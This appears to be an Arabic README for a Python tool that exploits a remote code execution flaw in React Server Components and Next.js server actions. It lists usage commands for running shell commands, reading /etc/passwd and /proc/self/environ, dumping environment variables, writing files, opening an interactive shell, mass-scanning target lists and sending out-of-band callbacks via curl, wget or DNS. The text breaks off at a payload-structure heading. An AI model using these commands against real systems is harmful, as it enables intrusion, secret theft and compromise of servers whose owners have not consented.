CVE-2025-55182 - أداة استغلال تنفيذ الأكواد عن بُعد لمكونات خادم React الإصدار 2.0
أداة بحث أمنية شاملة لاختبار الثغرات CVE-2025-55182 و CVE-2025-66478 في مكونات خادم React (RSC) وإجراءات خادم Next.js.
نظرة عامة على الثغرة
| الخاصية | القيمة |
|---|
| معرفات CVE | CVE-2025-55182, CVE-2025-66478 |
| درجة CVSS | 10.0 (حرجة) |
| الإصدارات المتأثرة | React < 19.2.0، Next.js < 15.0.5 |
| نوع الثغرة | تنفيذ الأكواد عن بُعد (RCE) |
| متجه الهجوم | الشبكة |
الميزات
- مسح للثغرات بأسلوب PortSwigger مع حمولات كشف متعددة
- أدوات استغلال RCE متعددة (execSync، spawnSync، vm.runInThisContext، إلخ)
- اختبار استدعاء خارج النطاق (OOB) للتحقق من RCE الأعمى
- إمكانية قراءة/كتابة الملفات
- تنفيذ أكواد JavaScript
- وضع شل تفاعلي
- مسح جماعي مع تعدد الخيوط
- دعم الوكيل (متوافق مع Burp Suite)
- تنسيقات إخراج JSON/نصي
التثبيت
المتطلبات
pip install requests
إصدار Python
بدء سريع
# فحص أساسي للثغرة
python3 exploit-custom.py -u https://target.com --check
# فحص شامل للثغرة (موصى به)
python3 exploit-custom.py -u https://target.com --scan
# مع وكيل (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# اختبار استدعاء خارج النطاق (OOB)
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# تنفيذ أمر
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# شل تفاعلي
python3 exploit-custom.py -u https://target.com --shell
الاستخدام
وسائط سطر الأوامر
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
اختيار الهدف
| الوسيطة | الوصف | مثال |
|---|
-u, --url | رابط هدف واحد | -u https://target.com |
-l, --list | ملف يحتوي على روابط | -l targets.txt |
أوضاع المسح
| الوسيطة | الوصف |
|---|
--detect | كشف استخدام Next.js/RSC |
--check | فحص سريع للثغرة (اختبار رياضي) |
--scan | فحص شامل للثغرة (بأسلوب PortSwigger) |
--test-all | اختبار جميع الأدوات وحمولات الكشف |
الاستغلال
| الوسيطة | الوصف | مثال |
|---|
--cmd | تنفيذ أمر شل | --cmd "id" |
--gadget | تحديد الأداة المستخدمة | --gadget execSync |
--read | قراءة ملف من الهدف | --read /etc/passwd |
--write | كتابة ملف إلى الهدف | --write /tmp/test.txt "content" |
--js | تنفيذ كود JavaScript | --js "process.env" |
--shell | بدء شل تفاعلي | --shell |
--oob | مضيف استدعاء خارج النطاق | --oob xyz.oastify.com |
خيارات الاتصال
| الوسيطة | الوصف | مثال |
|---|
-p, --proxy | وكيل HTTP/HTTPS | -p http://127.0.0.1:8080 |
-c, --cookies | سلسلة ملفات تعريف الارتباط | -c "session=abc123" |
-H, --header | رأس إضافي (قابل للتكرار) | -H "X-Custom: value" |
-t, --threads | عدد الخيوط للمسح الجماعي | -t 20 |
--timeout | مهلة الطلب بالثواني | --timeout 60 |
خيارات الإخراج
| الوسيطة | الوصف |
|---|
-o, --output | حفظ النتائج في ملف (.json أو .txt) |
-q, --quiet | إخفاء الشعار |
أمثلة المسح
هدف واحد
# كشف Next.js و RSC
python3 exploit-custom.py -u https://target.com --detect
# فحص سريع للثغرة
python3 exploit-custom.py -u https://target.com --check
# فحص شامل مع جميع حمولات الكشف
python3 exploit-custom.py -u https://target.com --scan
# اختبار جميع الأدوات مع التحقق عبر OOB
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
المسح الجماعي
# مسح أهداف متعددة
python3 exploit-custom.py -l targets.txt --scan -o results.json
# مع زيادة الخيوط
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# مع استدعاءات OOB
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
أمثلة الاستغلال
تنفيذ الأوامر
# باستخدام الأداة الافتراضية (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# باستخدام أداة محددة
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
عمليات الملفات
# قراءة ملف
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# كتابة ملف
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
تنفيذ JavaScript
# الحصول على متغيرات البيئة
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# الحصول على اسم المضيف
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# سرد الدليل
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
شل تفاعلي
python3 exploit-custom.py -u https://target.com --shell
أوامر الشل:
| الأمر | الوصف |
|---|
<command> | تنفيذ أمر شل |
!read <file> | قراءة ملف |
!write <file> <content> | كتابة ملف |
!js <code> | تنفيذ JavaScript |
!gadget <name> | تبديل الأداة |
exit | الخروج من الشل |
الأدوات المتاحة
أدوات RCE
| الاسم | معرف الوحدة | الوصف |
|---|
execSync | child_process#execSync | تنفيذ أمر شل مباشر |
execFileSync | child_process#execFileSync | تنفيذ ملف ثنائي |
spawnSync | child_process#spawnSync | تشغيل عملية مع وسائط |
vm_runInThisContext | vm#runInThisContext | تنفيذ JS في السياق الحالي |
vm_runInNewContext | vm#runInNewContext | تنفيذ JS مع الهروب من الصندوق الرملي |
vm_runInThisContext_global | vm#runInThisContext | تنفيذ عبر global.process |
أدوات الملفات
| الاسم | معرف الوحدة | الوصف |
|---|
fs_readFileSync | fs#readFileSync | قراءة الملفات التعسفية |
fs_writeFileSync | fs#writeFileSync | كتابة الملفات التعسفية |
أدوات OOB
| الاسم | الوصف |
|---|
vm_fetch | طلب HTTP عبر واجهة fetch (Node 18+) |
vm_http | طلب HTTP عبر وحدة http |
حمولات الكشف (CVE-2025-66478)
يستخدم وضع --scan حمولات الكشف بأسلوب PortSwigger التالية:
| الحمولة | الوصف |
|---|
property_reference | مرجع خاصية مفصول بنقطتين ["$1:a:a"] |
property_reference_v2 | مرجع بديل ["$1:b:b"] |
property_reference_constructor | الوصول إلى المنشئ عبر مرجع خاصية |
property_reference_proto | الوصول إلى سلسلة النموذج الأولي عبر مرجع خاصية |
action_ref_vm | ACTION_REF مع vm#runInThisContext |
action_ref_execSync | ACTION_REF مع child_process#execSync |
طرق استدعاء OOB
تدعم الأداة عدة طرق لاستدعاء OOB:
| الطريقة | الوصف |
|---|
curl | طلب HTTP عبر أمر curl |
wget | طلب HTTP عبر أمر wget |
nslookup | استعلام DNS |
ping | اختبار الاتصال ICMP |
fetch | واجهة fetch في Node.js |
http | وحدة http في Node.js |
تفسير الإخراج
ألوان الطرفية
| اللون | الحالة | المعنى |
|---|
| أخضر | [VULN] | ثغرة - تم تأكيد RCE |
| أصفر | [PATCH] | تم التصحيح - إجراءات الخادم نشطة ولكن محمية |
| أزرق | [RSC] | تم كشف إجراءات الخادم |
| سماوي | [NEXT] | تم كشف Next.js |
| أحمر | [ERR] | خطأ في الاتصال |
نتائج المسح
[VULN] property_reference تم كشف نمط ثغرة!
-> نمط الملخص: E{"digest"... (يحتاج تحقق OOB)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
تفاصيل تقنية
تنسيق رحلة RSC
تقوم الأداة بتحليل استجابات "تنسيق الرحلة" لمكونات خادم React:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
هيكل الحمولة متعددة الأجزاء